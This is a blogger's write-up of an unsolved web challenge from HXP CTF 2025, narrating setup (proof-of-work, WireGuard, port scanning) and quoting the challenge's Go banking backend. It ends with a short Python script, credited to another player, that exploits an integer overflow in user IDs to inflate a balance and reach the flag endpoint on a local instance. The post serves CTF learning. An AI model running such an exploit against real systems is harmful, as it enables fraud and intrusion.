HXP CTF 2025 Writeup
December 2025 (1735 Words, 10 Minutes)
Alright, in the theme of suffering, lemme tell you about the CTF HXP 2025, and how I suffer for it. I worked on the on error resume, the one problem for the entire time. Keep in mind I was only there for the last 17 hours, most of it I spent sleeping, (it was night time)… and I hadn’t realized that this CTF is heavily weighted, as in so weighted that it is considered a qualifier for the DEFCON CTF. and I did it alone, never the best move ☠️
Why that long? And especially on a challenge that was marked easy? Well let me tell you.
Like an idiot, my first move was to click that error handling link, which took me to this page.
Which I thought that browser error was part of the chall. No, it is just describing the scenario. The authors’ error was contained in the error handling last year. So this year, as you can see in the code much later, they have done away with. It took me a couple of seconds staring at the given challenge files and the front page to know that– no, this is not the same site.
I needed to actually pay attention to the nc command that have to *actually* get me to the instance. There was an interesting connection mechanism, I had never seen it before. This may not have been every problem, just the problem I had worked on, but the connection gave me this dialog:
please give S such that sha256(unhex(“5185ed4437d36ab5” + S)) ends with 20 zero bits (see pow-solver.cpp).
Hwah? I thought this was a Web challenge? I ask around and it turns out it’s essentially a captcha with the pow-solver.cpp in the challenge files.
Coolio, I just have to compile it and give it the hex values and the bit and I’m good to go. It takes a bit of fiddling, because I’m on NixOS and I have to make sure that I have libssl-dev which is not named that way in nixpkgs but that’s what I get for running an esoteric OS as a noob 😀.
So I can get a solution. Should connect me to the instance right away right?
It gives me a Wireguard profile to work at. Another thing to set up on NixOS. It is luckily not too bad, I add wireguard-tools to my list of packages and plop the config into wg-client1.conf. Except you might have spot that the connection only gives you 10 min ☠️ so while I’m stupidly trying to figure out why plopping the ip 10.244.0.1 into my web browser does not give me a connection, I’ve run out of time. Drat.
But it just gave me the IP, what if its not on port 80, and on some other port? I drop it into nmap -sV and no joke, I get nothing. I might conclude that ok, maybe my setup isn’t working, but I double check to see if I can ping it and low and behold -- I can 👀
So as a hail mary I drop it into Rustscan, and–
Success! I finally get myself an instance running and I can connect to it.
This is what I am greeted with. The backend is written in Go, and we have a couple things to contend with. First off, looking at the source files, the goal is obvious.
http.HandleFunc("POST /flag", func(w http.ResponseWriter, r *http.Request) {
mutex.Lock()
defer mutex.Unlock()
r.ParseForm()
id, _ := strconv.ParseInt(r.Form.Get("id"), 10, 64)
sum := Sum(id)
if sum >= 1337 {
flag, _ := os.ReadFile("flag.txt")
http.Redirect(w, r, "/?msg="+string(flag), http.StatusFound)
return
}
http.Redirect(w, r, "/?msg=Too+Poor+For+Flag", http.StatusFound)
})
Find a way to hit this POST endpoint and get a user with a sum of 1337 credits to get the flag. OK.
Except we have an issue there isn’t a way (via the typical flow of the program) to actually get this kind of money to circulate. We have a limit of 5 extra users and system (which is always broke) and the system gives each user only 10 credits.
demoUserLimit := 5
http.HandleFunc("POST /signup", func(w http.ResponseWriter, r *http.Request) {
mutex.Lock()
defer mutex.Unlock()
if demoUserLimit <= 0 {
http.Redirect(w, r, "/?msg=Demo+Version+Limit+Reached", http.StatusFound)
return
}
demoUserLimit -= 1
r.ParseForm()
res, _ := db.Exec("INSERT INTO users (name, id) VALUES (?, ?)", r.Form.Get("name"), r.Form.Get("id"))
id, _ := res.LastInsertId()
db.Exec("INSERT INTO transactions (subject, amount, sender, receiver) VALUES (?, ?, ?, ?)", "Gift from the system", 10, 1, id)
http.Redirect(w, r, "/?msg=User+Created", http.StatusFound)
})
I was disheartened that input into the tables have the VALUES (?, ?, ?, ?, ?) syntax -- properly sanitizing against SQL injections– but In the source code there is a plea from the author that they haven’t ‘done db transactions properly’ so lets check that out quickly.
func main() {
initDB()
// Sorry, I still haven't learned DB transactions :/
So checking this out, we find that there are straight up no changed values per user, they just keep track of transactions and manually calculate how much people have based on those transactions.
func Sum(userID int64) uint64 {
if userID == 1 { // System is always bankrupt :/
return 0
}
rows, _ := db.Query("SELECT amount, receiver, sender FROM transactions")
defer rows.Close()
var sum uint64
for rows.Next() {
transactions := transactions{}
rows.Scan(&transactions.Amount, &transactions.Receiver, &transactions.Sender)
if transactions.Receiver == userID {
sum += transactions.Amount
} else if transactions.Sender == userID {
sum -= transactions.Amount
}
}
return sum
}
Got me wondering… is it possible to just have fraudulent transactions?? Can I give my user negative amounts of money??
That is a 200 status error message -- but it doesn’t show up like that. Trying to hit a POST request to the flag endpoint here we find that we are indeed too poor for the flag.
Taking a close look at the code, it looks like the challenge writers thought of that, and made sure the input was a go uint parse. Dammit.
http.HandleFunc("POST /transfer", func(w http.ResponseWriter, r *http.Request) {
mutex.Lock()
defer mutex.Unlock()
r.ParseForm()
sender, _ := strconv.ParseInt(r.Form.Get("sender"), 10, 64)
amount, _ := strconv.ParseUint(r.Form.Get("amount"), 10, 64)
Now I didn’t get this challenge when it was running. This was as far as I had gone, along with trying to analyze the rest of the code for possible run condition errors (is that the proper way to do mutex in go?) -- but at this point, if you did the challenge you know that the answer is right in front of my face with the picture above. You are telling me you sanitize for negatives in the amount– but not for sender, ie. an id input? 🤔
And indeed by the end the solution is exploiting the fact. Shout out to nikiosts
import requests
URL = 'http://localhost:13371'
s = requests.Session()
s.post(f'{URL}/signup', data={'name': 'big', 'id': 2})
s.post(f'{URL}/signup', data={'name': 'big', 'id': 2**63})
for _ in range(150):
s.post(f'{URL}/transfer', data={'sender': 2, 'amount': 10, 'subject': 'pouet', 'receiver': 2**63})
A receiver id of 2 to the power of 63, in this case it overflows and becomes negative.
for rows.Next() {
user := User{}
rows.Scan(&user.Name, &user.ID)
users = append(users, user)
}
In this rows.Scan line, reading it into the Receiver variable, it can end up not being correct and not correctly complete the conditionals.
So what did we learn:
Finding what inputs we can control (ALL THE INPUTS) and seeing what oddities we can get out of it is crucial. I missed this simply because I was so focused on the amount being the input value that would mess things up.
Second, failure and reanalyzing a problem is important. I’m going to be doing a lot of these as the year goes on. I might as well get used to the feeling. 🙂
-Naid